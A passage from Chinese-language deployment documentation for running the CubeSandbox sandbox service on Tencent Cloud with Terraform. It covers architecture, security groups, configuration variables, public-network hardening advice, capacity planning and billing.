IP。**默认采用内网模式**（`TENCENTCLOUD_ENABLE_PUBLIC_NETWORK='false'`）：WebUI / cube-api / cube-proxy 三个用户侧服务关联**内网 CLB**，仅 VPC 内部（经跳板机 / VPN）可访问，不对公网暴露；如需公网访问，须显式设置 `TENCENTCLOUD_ENABLE_PUBLIC_NETWORK='true'` 切换为公网 CLB。如需进一步收紧，可在[腾讯云安全组控制台](https://console.cloud.tencent.com/vpc/securitygroup)按需对上述各个安全组（`cubesandbox-sg-jumpserver` / `cubesandbox-sg-compute` / `cubesandbox-sg-tke-pod` / `cubesandbox-sg-clb`）分别调整入站 / 出站规则。**当开启公网模式时**，请额外参阅[公网服务加固建议](#公网服务加固建议)。 ::: ::: tip 适用场景 本部署利用云上资源**快速搭建一套高可用的 CubeSandbox 沙箱服务**：所有云资源默认按量计费（详见下文[计费模式](#计费模式)），用完即可通过 `destroy.sh` 一键释放。如果想长期使用，推荐改用**包年包月**资源以获得更优的成本节省（见[计费模式](#计费模式)）。如果只需要单机部署验证，请参阅之前的部署文档：[PVM 部署](./pvm-deploy.md)或[裸金属部署](./bare-metal-deploy.md)。 **注意**：默认配置为 **POC / 功能验证**（2 台 `SA9.MEDIUM8` 计算节点、控制面以单副本为主、无 CFS）。承载沙箱数量有限。生产或压测请调整计算节点与 TKE worker 的规格和数量，详见[节点规格与容量规划](#节点规格与容量规划)与[默认部署模式](#默认部署模式)。 ::: ## 架构概览 ``` 公网 / Internet │ ┌────────────┴────────────────────┐ │ │ ┌────────┴────────┐ ┌──────────┴─────────┐ │ 跳板机 CVM │ │ CLB (内网/公网) │ │ (公网 IP) │ │ cube-api :3000 │ │ SSH:443 │ │ cube-proxy :80/443 │ │ build & push │ │ cube-webui :80 │ └────────┬────────┘ └──────────┬─────────┘ │ │ ┌────────────┼─────────────────────────────────┼──────────┐ │ │ VPC 内网 │ │ │ ┌─────────┴────────┐ ┌───────────────┴─────┐ │ │ │ CVM 计算节点 ×N │ │ TKE 托管集群 │ │ │ Cubelet │ │ cube-master (×1) │ │ │ network runtime │ │ cube-api (×1) │ │ │ CubeEgress │ │ cube-ops (×1) │ │ └──────────────────┘ │ cube-proxy (×1) │ │ │ cube-lifecycle-manager │ │ │ cube-webui (×1) │ │ └───┬─────────────┬────────┘ │ │ │ │ │ ┌────────────┴───┐ (可选) │ │ │ │ CFS (NFS) │ │ │ │ │ 共享存储 │ │ │ │ └────────────────┘ │ │ │ │ │ │ ┌─────────────────────┴───┐ │ │ │ 云数据库 MySQL + Redis │ │ │ └─────────────────────────┘ │ │ │ │ ┌──────────────┐ ┌──────────────┐ │ │ │ TCR (可选) │ │ NAT + EIP │→ 公网出口 │ │ └──────────────┘ └──────────────┘ │ └─────────────────────────────────────────────────────────┘ ``` | 组件 | 形态 | 说明 | |------|------|------| | 跳板机 | CVM（公网 IP，SSH 443） | 构建镜像（TCR 模式）、作为私有 VPC 的堡垒机 | | 负载均衡 | CLB（内网/公网） | 前置 `cube-api` / `cube-proxy` / `cube-webui`，默认内网模式，用户流量入口 | | 控制面 | TKE 托管集群 | 运行 `cube-master` / `cube-api` / `cube-ops` / `cube-proxy` / `cube-lifecycle-manager` / `cube-webui` | | 计算节点 | CVM PVM | 运行带内嵌 network runtime 的 `Cubelet` 与 `CubeEgress`，**实际承载沙箱** | | 数据库 | 云数据库 MySQL 8.0 + Redis 7.0 | 仅 VPC 内网访问，不开公网 | | 共享存储 | CFS（通用标准型 NFS，**可选**） | `USE_CFS=true` 且 cubemaster 多副本时，ReadWriteMany 共享 `/data/CubeMaster/storage` | | 镜像仓库 | TCR（基础版，**可选**） | `USE_TCR=true` 时创建；跳板机构建并推送组件镜像 | | 网络出口 | NAT 网关 + EIP | 整个 VPC 通过 NAT 访问公网 | ::: info TKE worker 与 PVM 计算节点是两套资源 * **`TENCENTCLOUD_TKE_NODE_COUNT`**：TKE **worker** 数量，运行控制面 Pod（cubemaster / cube-api 等）。 * **`TENCENTCLOUD_COMPUTE_NODE_COUNT`**：**PVM 计算节点**数量，运行 Cubelet，**执行 sandbox**。 两者独立配置，默认均为 `2`，但职责完全不同。 ::: 计算节点数量、机型、Cubelet 上报频率、quota、label 和模板副本可用性都会影响 CubeMaster 调度。完整配置说明和新增计算节点后的 `cubemastercli tpl redo` 操作见[CubeMaster 调度器配置参考](./cubemaster-scheduler-config.md)。 ## 默认部署模式 与 `env.example` / `variables.tf` 一致，**默认是公网镜像 + 以单副本为主的控制面 + 无 CFS 的 POC 配置**： | 配置项 | 默认值 | 说明 | |--------|--------|------| | `TENCENTCLOUD_USE_TCR` | `false` | 不创建 TCR；使用公网预置镜像，不在跳板机构建 | | `TENCENTCLOUD_USE_CFS` | `false` | 不创建 CFS；cubemaster 使用 Pod 本地存储 | | `TENCENTCLOUD_CUBEMASTER_REPLICAS` 等 | `1` | 控制面组件默认单副本；cube-ops 与 cube-lifecycle-manager 为两个副本 | | `TENCENTCLOUD_COMPUTE_NODE_COUNT` | `2` | PVM 计算节点 | | `TENCENTCLOUD_TKE_NODE_COUNT` | `2` | TKE worker（`worker_config.count`） | | `TENCENTCLOUD_ENABLE_PUBLIC_NETWORK` | `false` | cube-api / cube-proxy / cube-webui 使用 VPC 内网 CLB | **高级模式：** * `TENCENTCLOUD_USE_TCR=true`：创建 TCR，在跳板机构建并推送六个组件镜像。 * `TENCENTCLOUD_USE_CFS=true` 且 `TENCENTCLOUD_CUBEMASTER_REPLICAS>1`：创建 CFS，cubemaster 多副本共享存储。 * `TENCENTCLOUD_CUBE_PROXY_REPLICAS>1`：让 cube-proxy 以多副本方式运行，并复用同一个 CLB 对外服务。 `cube-proxy` 支持**多副本**。默认仍为单副本（`TENCENTCLOUD_CUBE_PROXY_REPLICAS=1`），适合小规模部署；当代理流量增长时，可以按需调高。每个 cube-proxy 副本都会把自己的 admin endpoint 注册到 Redis，独立的 `cube-lifecycle-manager` 从 Redis 注册表发现副本并协调自动暂停 / 自动恢复，因此无需静态配置副本列表。 ## 默认配置创建的资源明细 下表列出**默认配置**（地域 `ap-guangzhou`、可用区 `ap-guangzhou-6`、计算节点 2、TKE worker 2、无 CFS/TCR）下创建的云资源。所有资源均为**按量计费**（详见[计费模式](#计费模式)）。 | 资源类型 | 数量 | 规格 / 配置 | |---------|------|------------| | VPC | 1 | CIDR `10.0.0.0/16` | | 子网 | 1 | `10.0.1.0/24`（主可用区；仅当某角色落在其他可用区时才额外创建 /24 子网） | | NAT 网关 + EIP | 1 + 1 | 带宽 200 Mbps，按流量计费 | | 路由表条目 | 1 | `0.0.0.0/0` → NAT 网关 | | 安全组 | 4 | 按角色拆分（跳板机 / 计算节点 / TKE Pod / CLB），最小权限，见下表 | | SSH 密钥对 | 1 | 自动生成于 `terraform/tencentcloud/.ssh/` | | 跳板机 CVM | 1 | `SA9.MEDIUM4`（2C4G），系统盘 50GB 通用型 SSD 云硬盘，公网带宽 200 Mbps，SSH 端口 443 | | 计算节点 CVM | 2 | `SA9.MEDIUM8`（4C8G），系统盘 50GB + **200GB CBS 数据盘**（XFS，`/data/cubelet`），**无公网 IP** | | TKE 托管集群 | 1 | 托管集群 **L5**，Kubernetes `1.34.1`，Pod CIDR `10.200.0.0/16`，Service CIDR `192.168.0.0/20`，仅 VPC 内网 API | | TKE worker 节点 | 2 | `SA9.LARGE8`（4C8G），由 `worker_config.count` 创建（**无独立节点池**） | | 云数据库 MySQL | 1 | 8.0 InnoDB 通用型，4GB 内存 / 200GB 存储，跨可用区双机（地域有 ≥2 可用区时）/ 半同步，仅内网 3306 | | 云数据库 Redis | 1 | 7.0 标准架构（主从），1GB 内存，端口 6379，仅内网 | | CFS 文件系统 | 0（默认） | `USE_CFS=true` 时创建 1 个通用标准型 NFS | | TCR 镜像仓库 | 0（默认） | `USE_TCR=true` 时创建基础版 + 命名空间 + VPC 接入 | | 操作系统镜像 | — | OpenCloudOS Server 9（公共镜像，CVM 复用） | ::: tip OS 镜像 所有 CVM（跳板机 / 计算节点 / TKE worker）默认使用 **OpenCloudOS Server 9** 公共镜像，可用 `TENCENTCLOUD_IMAGE_NAME` 覆盖。 ::: ### 安全组放行端口 部署器按**最小权限**原则创建 **4 个按角色拆分的安全组**，各自只放行该角色实际需要的入站端口；攻破任一角色都不会继承其他角色的入站面。 **1. `cubesandbox-sg-jumpserver`（跳板机）** | 端口 / 范围 | 来源 | 用途 | |------------|------|------| | TCP 443 | `0.0.0.0/0` | 跳板机 SSH（cloud-init 已将 sshd 改到 443） | | ALL | `10.0.0.0/16` | VPC 内网互通 | **2. `cubesandbox-sg-compute`（计算节点）** — 无任何公网入站 | 端口 / 范围 | 来源 | 用途 | |------------|------|------| | ALL | TKE Pod CIDR | cube-proxy（Pod）访问计算节点的全部端口（沙箱动态端口 20000-29999） | | ALL | `10.0.0.0/16` | VPC 内网互通（跳板机管理、cube-master 调度） | **3. `cubesandbox-sg-tke-pod`（TKE worker 节点）** — 无任何公网入站 | 端口 / 范围 | 来源 | 用途 | |------------|------|------| | ALL | TKE Pod CIDR | Pod 间通信 | | ALL | `10.0.0.0/16` | VPC 内网（CLB 健康检查、跳板机管理、CFS NFS 挂载） | **4. `cubesandbox-sg-clb`（负载均衡 CLB）** 下表中 80 / 443 / 3000 三个入口的来源取决于 `TENCENTCLOUD_ENABLE_PUBLIC_NETWORK`：\*\*默认内网模式（`false`）\*\*下来源为 VPC CIDR `10.0.0.0/16`，仅 VPC 内网可达；\*\*开启公网模式（`true`）\*\*时来源为 `0.0.0.0/0`，对公网开放。 | 端口 / 范围 | 来源（内网模式 / 公网模式） | 用途 | |------------|------|------| | TCP 80 | `10.0.0.0/16` / `0.0.0.0/0` | cube-proxy + cube-webui 的 CLB（HTTP） | | TCP 443 | `10.0.0.0/16` / `0.0.0.0/0` | cube-proxy 的 CLB（HTTPS） | | TCP 3000 | `10.0.0.0/16` / `0.0.0.0/0` | cube-api 的 CLB | | TCP 8089 | `10.0.0.0/16`（始终仅 VPC 内网） | cube-master 的内网 CLB（不受公网开关影响） | 四个安全组出站均默认放行全部（`0.0.0.0/0` ALL）。数据库、TKE API Server 等均**不开公网**，仅限 VPC 内网访问。 ### 公网服务加固建议 > 本节仅在**开启公网模式**（`TENCENTCLOUD_ENABLE_PUBLIC_NETWORK='true'`）时适用。默认内网模式下三个服务均不对公网暴露，可跳过本节。 开启公网模式后，`cubesandbox-sg-clb` 会对 `0.0.0.0/0` 放行 WebUI（80）、cube-proxy（80 / 443）与 cube-api（3000）三个公网入口。三者的安全模型不同，建议按服务分别加固： * **WebUI（CLB 80）**：WebUI 控制台**目前不带任何鉴权 / 权限控制**，任何能访问到它的人都能操作沙箱。强烈建议为 WebUI 的 CLB **单独创建一个安全组**，并在其中配置**严格的源 IP 白名单**（仅放行你的办公网 / 管理机出口 IP），而不是沿用对公网放行的 `cubesandbox-sg-clb`。可在[腾讯云安全组控制台](https://console.cloud.tencent.com/vpc/securitygroup)新建安全组后，绑定到 WebUI 对应的 CLB 实例。 * **cube-api（CLB 3000）**：cube-api 默认**对所有请求放行、不做凭证校验**。对外暴露前请务必启用 **Auth Callback** 鉴权，把鉴权决策委托给你自己的鉴权服务，详见[鉴权配置](./authentication.md)。 * **cube-proxy（CLB 80 / 443）**：cube-proxy 是沙箱流量的公网入口，设计上即面向公网。若希望限制对沙箱的公开访问，请参阅[限制公开访问](./restrict-public-access.md)启用每沙箱独立的入站 token 等机制。 ## 前置条件 运行 `create.sh` 的机器只需满足以下条件，**无需预装 Terraform**： * **腾讯云 API 凭证**：在[访问管理控制台](https://console.cloud.tencent.com/cam/capi)创建密钥对，导出 `TENCENTCLOUD_SECRET_ID` / `TENCENTCLOUD_SECRET_KEY`。 * **本地工具**：`ssh`、`scp`、`nc`，以及访问腾讯云 API 的网络。`terraform` 与 `jq` 在缺失时会自动安装——可写时装到 `/usr/local/bin`（如以 root 运行），否则装到本地 `.bin/`。`terraform` 从 HashiCorp 官方下载（需 `curl`/`wget` + `unzip`），`jq` 来自系统包管理器或 GitHub 静态二进制。 * `mkcert` / `openssl` **无需**本地安装——cube-proxy 证书在跳板机上生成。 * **构建 / 部署执行机**：推荐 Linux；`create.sh` / `destroy.sh` 也支持 macOS（含 Bash 3.2）。Windows 请使用 WSL2。 ### Terraform Provider Init 加速（推荐） `terraform init` 默认会从 `registry.terraform.io` 和 GitHub 下载 Provider。国内网络环境下，`tencentcloudstack/tencentcloud` Provider 可能在下载 checksum 或安装包时超时，典型报错为 `failed to retrieve authentication checksums`、`Client.Timeout exceeded while awaiting headers`。腾讯云官方提供了 Terraform Provider 镜像源，可通过 Terraform CLI 配置文件启用（参考：[Init 加速](https://cloud.tencent.com/document/product/1653/82912)）。 在 Linux / macOS 上，创建或更新当前用户的 `~/.terraformrc`： ```hcl provider_installation { network_mirror { url = "https://mirrors.tencent.com/terraform/" include = ["registry.terraform.io/tencentcloudstack/*"] } direct { exclude = ["registry.terraform.io/tencentcloudstack/*"] } } ``` ### 部署前准备（云服务开通与授权） 建议在 `create.sh` **首次 apply 前**完成，避免中途失败留下半创建资源。 #### 1. 账号基础 * [注册腾讯云账号](https://cloud.tencent.com/register) 并完成**实名认证**。 * 子账号部署时，需授予创建 VPC / CVM / TKE / CDB / Redis / CLB 等资源的权限；可参考[使用 TKE 预设策略授权](https://cloud.tencent.com/document/product/457/46033) 关联 `QcloudTKEFullAccess` 等策略。 #### 2. TKE 容器服务角色授权（必须） 首次使用 TKE 前须完成**服务角色**授权，否则创建集群、CLB 型 Service 等会失败。 1. 登录 [容器服务 TKE 控制台](https://console.cloud.tencent.com/tke2)，按提示完成服务授权。 2. 确认 `TKE_QCSRole` / `IPAMDofTKE_QCSRole` 等角色已授权。 官方文档：[服务授权相关角色权限说明](https://cloud.tencent.com/document/product/457/43416)、[容器服务快速入门](https://cloud.tencent.com/document/product/457/6759)。 #### 3. 私有域解析 Private DNS（按需） | 场景 | 是否需要 | |------|----------| | 默认 `USE_TCR=false` | 通常不需要 | | `USE_TCR=true` | 建议开通 | | E2B SDK 访问 `*.cube.app` | **需要**（见 [E2B 与 cube.app 域名](#e2b-与-cubeapp-域名)） | 未开通时 API 可能返回 `ResourceNotFound.ServiceNotSubscribed`（私有域解析服务未开通）。 开通：[DNSPod 内网解析](https://console.dnspod.cn/privateDNS) → 勾选协议 → 立即开通。文档：[Private DNS 产品介绍](https://cloud.tencent.com/document/product/1338/50527)、[开通 Private DNS](https://cloud.tencent.com/document/product/1338/50533)。 #### 4. 文件存储 CFS（按需） 仅当 `TENCENTCLOUD_USE_CFS=true` 且 cubemaster 多副本时需要。 1. 登录 [文件存储 CFS 控制台](https://console.cloud.tencent.com/cfs)，按提示**开通 CFS 服务**。 2. Terraform 会在 apply 阶段自动创建文件系统（无需手动创建）。 文档：[CFS 快速入门](https://cloud.tencent.com/document/product/582/9132)。若账号未开通，控制台可能看不到实例列表；销毁时优先运行 `destroy.sh` 的 CFS 阶段。 #### 5. 其他服务 Preflight | 服务 | 控制台 | |------|--------| | VPC / NAT | [VPC](https://console.cloud.tencent.com/vpc) | | CVM | [CVM](https://console.cloud.tencent.com/cvm) | | TKE | [TKE](https://console.cloud.tencent.com/tke2) | | MySQL / Redis | [MySQL](https://console.cloud.tencent.com/cdb) / [Redis](https://console.cloud.tencent.com/redis) | | CLB | [CLB](https://console.cloud.tencent.com/clb) | | TCR（`USE_TCR=true`） | [TCR](https://console.cloud.tencent.com/tcr) | ## 快速开始 部署器位于解压后发布包的**顶层目录**，解压后即可直接运行： ```bash tar -xzf cube-sandbox-one-click-<version>.tar.gz cd cube-sandbox-one-click-<version> # 复制环境变量模板，填入凭证（TENCENTCLOUD_SECRET_ID / TENCENTCLOUD_SECRET_KEY）并按需编辑其余项 cp terraform/tencentcloud/env.example terraform/tencentcloud/.env # $EDITOR terraform/tencentcloud/.env ./terraform/tencentcloud/create.sh ``` `create.sh` 会自动加载同目录下的 `.env`（仅填充未在当前 shell 中显式设置的变量），因此凭证既可直接写入 `.env`，也可改用 `export` 注入——后者优先级更高，会覆盖 `.env` 中的同名值： ```bash export TENCENTCLOUD_SECRET_ID="your-secret-id" export TENCENTCLOUD_SECRET_KEY="your-secret-key" ``` `.env` 中各项配置的含义与默认值详见下文[配置](#配置)；未填写的项全部使用默认值。 `create.sh` 完全在解压后的发布包内运行，会自动完成： 1. 自动探测本地发布包（外层 `cube-sandbox-one-click-<version>.tar.gz`，若已删除则重新打包解压目录），作为组件镜像和计算节点安装的**离线源**。若设置了 `TENCENTCLOUD_LOCAL_BUNDLE=/path/to.tar.gz` 或探测到本地包，则无需公网下载；否则跳板机回退到**在线安装**（需公网）。 2. 如不存在则在 `terraform/tencentcloud/.ssh/` 下生成 SSH 密钥对。 3. 在跳板机上用内置 `mkcert` 生成 cube-proxy 的 TLS 证书（`cube.app` / `*.cube.app`），下载到 `terraform/tencentcloud/cubeproxy-certs/` 供 Secret 挂载。 4. **默认模式**（`USE_TCR=false`）：拉取公网预置镜像，部署 TKE 插件与 CVM 计算节点（默认 2 台）。 5. **TCR 模式**（`USE_TCR=true`）：创建 TCR，在跳板机构建并推送六个组件镜像，再部署 TKE 与计算节点。 ## 配置 常用环境变量（与 `create.sh` / `variables.tf` 默认值一致）列在 `terraform/tencentcloud/env.example` 中，可复制为 `.env` 后填写： ```bash export TENCENTCLOUD_REGION=ap-guangzhou export TENCENTCLOUD_AVAILABILITY_ZONE=ap-guangzhou-6 export TENCENTCLOUD_COMPUTE_NODE_COUNT=2 # CVM PVM 计算节点数 export TENCENTCLOUD_COMPUTE_DATA_DISK_SIZE=200 # 每个计算节点的 CBS 数据盘大小（GB） export TENCENTCLOUD_CUBELET_NODE_STATUS_UPDATE_FREQUENCY=1s export TENCENTCLOUD_TKE_NODE_COUNT=2 # TKE worker 节点数（运行控制面 Pod） export TENCENTCLOUD_COMPUTE_INSTANCE_TYPE=SA9.MEDIUM8 export TENCENTCLOUD_USE_TCR=false # 默认：公网预置镜像 export TENCENTCLOUD_USE_CFS=false # 默认：无 CFS export TENCENTCLOUD_CUBE_IMAGE_TAG=v0.7.2 export TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_REPLICAS=2 ``` ### 常用变量 > 交互式运行 `create.sh` 时，"Deployment configuration" 阶段会逐项引导确认下列大部分配置（地域 / VPC / 机型 / 密码 / 镜像 tag 等），其中也包含**是否开启公网模式**的 `[y/N]` 询问（默认 N = 内网）。下表的变量可在运行前显式设置以跳过对应交互；无 TTY 的非交互运行则一律采用默认值。 | 变量 | 默认值 | 说明 | |------|--------|------| | `TENCENTCLOUD_SECRET_ID` / `TENCENTCLOUD_SECRET_KEY` | 无 | **必填。** 腾讯云 API 凭证 | | `TENCENTCLOUD_REGION` | `ap-guangzhou` | 地域 | | `TENCENTCLOUD_AVAILABILITY_ZONE` | `ap-guangzhou-6` | 主可用区（子网 / MySQL / Redis / TKE 控制面） | | `TENCENTCLOUD_JUMPSERVER_INSTANCE_TYPE` | `SA9.MEDIUM4` | 跳板机机型 | | `TENCENTCLOUD_COMPUTE_INSTANCE_TYPE` | `SA9.MEDIUM8` | 计算节点首选机型 | | `TENCENTCLOUD_TKE_WORKER_INSTANCE_TYPE` | `SA9.LARGE8` | TKE worker 节点机型（4C8G） | | `TENCENTCLOUD_COMPUTE_NODE_COUNT` | `2` | **PVM 计算节点**数（运行 Cubelet / sandbox） | | `TENCENTCLOUD_COMPUTE_DATA_DISK_SIZE` | `200` | 每个计算节点的 CBS 数据盘大小（GB，XFS，挂载于 `/data/cubelet`）。计算节点的沙箱镜像模板、快照及运行时数据均存放于此目录，请按实际需求调整 | | `TENCENTCLOUD_CUBELET_NODE_STATUS_UPDATE_FREQUENCY` | `1s` | Cubelet 向 CubeMaster 上报节点状态/资源的间隔。`create.sh` 会在每台计算节点上写入 `Cubelet/config/config.toml` | | `TENCENTCLOUD_TKE_NODE_COUNT` | `2` | **TKE worker** 数（运行控制面 Pod；对应 `worker_config.count`） | | `TENCENTCLOUD_USE_TCR` | `false` | `true` 时创建 TCR 并在跳板机构建/推送镜像；`false` 时使用公网预置镜像 | | `TENCENTCLOUD_USE_CFS` | `false` | `true` 且 cubemaster 多副本时创建 CFS NFS 共享存储 | | `TENCENTCLOUD_TKE_CLUSTER_VERSION` | `1.34.1` | TKE Kubernetes 版本 | | `TENCENTCLOUD_MYSQL_PASSWORD` | 不安全的演示值 | MySQL root 密码（生产必改） | | `TENCENTCLOUD_REDIS_PASSWORD` | 不安全的演示值 | Redis 密码（生产必改） | | `TENCENTCLOUD_CUBE_DB` / `TENCENTCLOUD_CUBE_USER` / `TENCENTCLOUD_CUBE_PASSWORD` | `cube_mvp` / `cube` / 演示值 | 应用库名 / 账号 / 密码 | | `TENCENTCLOUD_CUBEMASTER_REPLICAS` | `1` | cube-master 副本数 | | `TENCENTCLOUD_CUBE_API_REPLICAS` | `1` | cube-api 副本数 | | `TENCENTCLOUD_CUBE_OPS_REPLICAS` | `2` | cube-ops 副本数。默认栈不带对象存储，组件仓库保持禁用，给 cube-ops 接上 COS（或其他 S3）后才可用（见[组件多版本](/zh/guide/component-multiversion)）。cube-webui 的 `/opsapi/` 与 `/cubeapi/v1/` 会转发到该集群内服务 | | `TENCENTCLOUD_CUBE_PROXY_REPLICAS` | `1` | cube-proxy 副本数。支持设置为大于 `1`；每个副本都会注册到 Redis，供 cube-lifecycle-manager 发现 | | `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_REPLICAS` | `2` | cube-lifecycle-manager 副本数。默认双副本主备（需开启选主）。降到 `1` 时必须同时把 `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_LEADER_ELECTION_ENABLED` 设为 `false` | | `TENCENTCLOUD_CUBE_WEBUI_REPLICAS` | `1` | cube-webui 副本数 | | `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_DEFAULT_IDLE_TIMEOUT` | `5m` | lifecycle metadata 未指定 `TimeoutSeconds` 时使用的默认空闲超时 | | `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_HEARTBEAT_TTL` | `15s` | cube-proxy Redis 注册心跳的过期时间 | | `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_DISCOVERY_REFRESH` | `3s` | cube-lifecycle-manager 扫描 Redis 注册表的间隔 | | `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_LEADER_ELECTION_ENABLED` | `true` | 用 Redis 租约以主备方式运行 cube-lifecycle-manager。要求 `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_REPLICAS` >= 2 | | `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_LEADER_LEASE_TTL` | `10s` | cube-lifecycle-manager 选主租约 TTL | | `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_LEADER_RENEW_INTERVAL` | `3s` | leader 续约间隔。必须小于租约 TTL 的一半 | | `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_LEADER_RETRY_INTERVAL` | `1s` | 备副本重试抢租约的间隔。必须大于 0 且小于租约 TTL | | `TENCENTCLOUD_CUBE_PROXY_HEARTBEAT_INTERVAL_MS` | `5000` | cube-proxy 注册心跳间隔（毫秒） | | `TENCENTCLOUD_CUBE_ADMIN_TOKEN` | 空 | cube-lifecycle-manager 调用 cube-proxy `/admin/*` 接口时使用的共享 token。留空则自动生成；自定义值至少 16 个字符 | | `TENCENTCLOUD_ENABLE_PUBLIC_NETWORK` | `false` | cube-api / cube-proxy / cube-webui 的网络暴露模式。**默认 `false`**：关联内网 CLB，仅 VPC 内网（经跳板机 / VPN）可访问；设为 `true` 则关联公网 CLB，对公网开放，安全组同步放行 `0.0.0.0/0`。cube-master 始终为内网 CLB，不受此开关影响。开启公网前请阅读[公网服务加固建议](#公网服务加固建议) | ### 非交互 / CI 运行 无 TTY 时交互菜单会回退到默认值，建议显式设置以保持可控。密码变量是例外：非交互运行**拒绝**使用内置公开演示密码启动，必须显式设置——或设 `TENCENTCLOUD_ALLOW_INSECURE_DEFAULTS=1` 主动接受不安全默认值（仅限用完即弃的沙箱）。 ```bash export TENCENTCLOUD_AVAILABILITY_ZONE=ap-guangzhou-6 export TENCENTCLOUD_COMPUTE_INSTANCE_TYPE=SA9.MEDIUM8 export TENCENTCLOUD_LOCAL_BUNDLE=/path/to/cube-sandbox-one-click-<version>.tar.gz # 在解压包内运行时自动探测 export TENCENTCLOUD_PVM_KERNEL_VMLINUX=/path/to/vmlinux-pvm # 仅当发布包不含 vmlinux-pvm 时需要 export TENCENTCLOUD_MYSQL_PASSWORD=... # 非交互运行必填（无不安全回退） export TENCENTCLOUD_REDIS_PASSWORD=... # 非交互运行必填 export TENCENTCLOUD_CUBE_PASSWORD=... # 非交互运行必填 export TENCENTCLOUD_BUILD_IMAGES=0 # TCR 模式下复用已推送的镜像 ``` 更多高级开关（`TENCENTCLOUD_VERBOSE`、`TENCENTCLOUD_REINSTALL`、`TENCENTCLOUD_RESET_DB`、SSH 端口/密钥路径等）见 `create.sh` 头部注释。 ## 节点规格与容量规划 ### 默认配置 默认部署配置了 **2 台 4C8G 计算节点**（`SA9.MEDIUM8`，各 200GB 数据盘）与 **2 个 TKE worker**，适合 POC / 功能验证，承载沙箱数量有限。各角色默认规格如下： | 角色 | 默认机型 | 规格 | 数量 | |------|---------|------|------| | 计算节点（PVM） | `SA9.MEDIUM8` | 4C8G + 200GB 数据盘 | 2 台 | | TKE Worker | `SA9.LARGE8` | 4C8G | 2 台（`worker_config.count`） | | 跳板机 | `SA9.MEDIUM4` | 2C4G | 1 台 | | 控制面 Pod | — | cubemaster / cube-api / cube-ops / cube-proxy / cube-lifecycle-manager / cube-webui 各 1 副本 | 运行在 TKE worker 上 | ::: warning 默认配置仅适合功能验证和小规模评估。大规模生产环境使用时，**必须调整计算节点和 TKE 节点的规格与数量**，否则会遇到 CPU/内存不足、Pod 调度失败、沙箱创建超时等问题。 ::: ### 调整计算节点 计算节点是实际运行沙箱容器的机器，可通过以下环境变量调整其规格、数量和磁盘大小： | 环境变量 | 说明 | |---------|------| | `TENCENTCLOUD_COMPUTE_INSTANCE_TYPE` | 计算节点机型 | | `TENCENTCLOUD_COMPUTE_NODE_COUNT` | 计算节点数量 | | `TENCENTCLOUD_COMPUTE_DATA_DISK_SIZE` | 数据盘大小（GB） | **示例：提升单台规格并增加数量**（`.env` 配置）： ```bash TENCENTCLOUD_COMPUTE_INSTANCE_TYPE='SA9.4XLARGE32' TENCENTCLOUD_COMPUTE_NODE_COUNT='4' TENCENTCLOUD_COMPUTE_DATA_DISK_SIZE='500' ``` **示例：使用更高规格**（`.env` 配置）： ```bash TENCENTCLOUD_COMPUTE_INSTANCE_TYPE='SA9.16XLARGE128' TENCENTCLOUD_COMPUTE_NODE_COUNT='8' TENCENTCLOUD_COMPUTE_DATA_DISK_SIZE='1000' ``` ::: tip 裸金属服务器 如需更强的计算隔离性和性能（避免虚拟化开销），可选配[腾讯云裸金属服务器](https://cloud.tencent.com/product/cbm)作为计算节点。将 `TENCENTCLOUD_COMPUTE_INSTANCE_TYPE` 设为裸金属机型（如 `BMS5.12XLARGE192`）即可，其余部署流程不变。 ::: **示例：异构混部**（直接使用 Terraform 变量，逐台指定不同机型）： ```bash export TF_VAR_compute_node_count=5 export TF_VAR_compute_instance_types='["SA9.8XLARGE64","SA9.8XLARGE64","SA9.4XLARGE32","SA9.4XLARGE32","SA9.4XLARGE32"]' export TF_VAR_compute_availability_zones='["ap-guangzhou-6","ap-guangzhou-7","ap-guangzhou-6","ap-guangzhou-7","ap-guangzhou-3"]' export TF_VAR_compute_data_disk_size=1000 ``` ### 调整 TKE Worker 节点 TKE Worker 运行 cube-master、cube-api、cube-ops、cube-proxy、cube-lifecycle-manager、cube-webui 等控制面 Pod。大规模场景下控制面的请求量和调度压力会增大，需要更多资源。 | 环境变量 | 说明 | |---------|------| | `TENCENTCLOUD_TKE_WORKER_INSTANCE_TYPE` | TKE Worker 节点机型 | | `TENCENTCLOUD_TKE_NODE_COUNT` | TKE Worker 节点数量 | **示例：升级 TKE Worker 规格**： ```bash TENCENTCLOUD_TKE_WORKER_INSTANCE_TYPE='SA9.2XLARGE16' TENCENTCLOUD_TKE_NODE_COUNT='4' ``` 同时可增加控制面副本数以提高吞吐和可用性（多副本 cubemaster 须配合 `TENCENTCLOUD_USE_CFS=true`）： ```bash TENCENTCLOUD_USE_CFS=true TENCENTCLOUD_CUBEMASTER_REPLICAS='3' TENCENTCLOUD_CUBE_API_REPLICAS='3' TENCENTCLOUD_CUBE_WEBUI_REPLICAS='2' ``` ### 综合示例：生产环境配置 ```bash # --- 计算节点 TENCENTCLOUD_COMPUTE_INSTANCE_TYPE='SA9.8XLARGE64' TENCENTCLOUD_COMPUTE_NODE_COUNT='6' TENCENTCLOUD_COMPUTE_DATA_DISK_SIZE='1000' # --- TKE 控制面 TENCENTCLOUD_TKE_WORKER_INSTANCE_TYPE='SA9.2XLARGE16' TENCENTCLOUD_TKE_NODE_COUNT='4' # --- 控制面副本数（需 CFS） TENCENTCLOUD_USE_CFS=true TENCENTCLOUD_CUBEMASTER_REPLICAS='3' TENCENTCLOUD_CUBE_API_REPLICAS='3' TENCENTCLOUD_CUBE_WEBUI_REPLICAS='2' # --- 跳板机可保持默认（仅构建用，不承载运行时负载） TENCENTCLOUD_JUMPSERVER_INSTANCE_TYPE='SA9.MEDIUM4' ``` ## 计费模式 ::: warning 当前统一为按量计费（POSTPAID） 本部署器创建的所有云资源都**硬编码为按量计费**，目前**不能**通过环境变量或 Terraform 变量切换为包年包月（PREPAID）。 ::: 各资源的计费类型固定如下： | 资源 | 计费字段 | 取值 | 含义 | |------|---------|------|------| | 跳板机 CVM | `instance_charge_type` | `POSTPAID_BY_HOUR` | 按小时按量 | | 计算节点 CVM 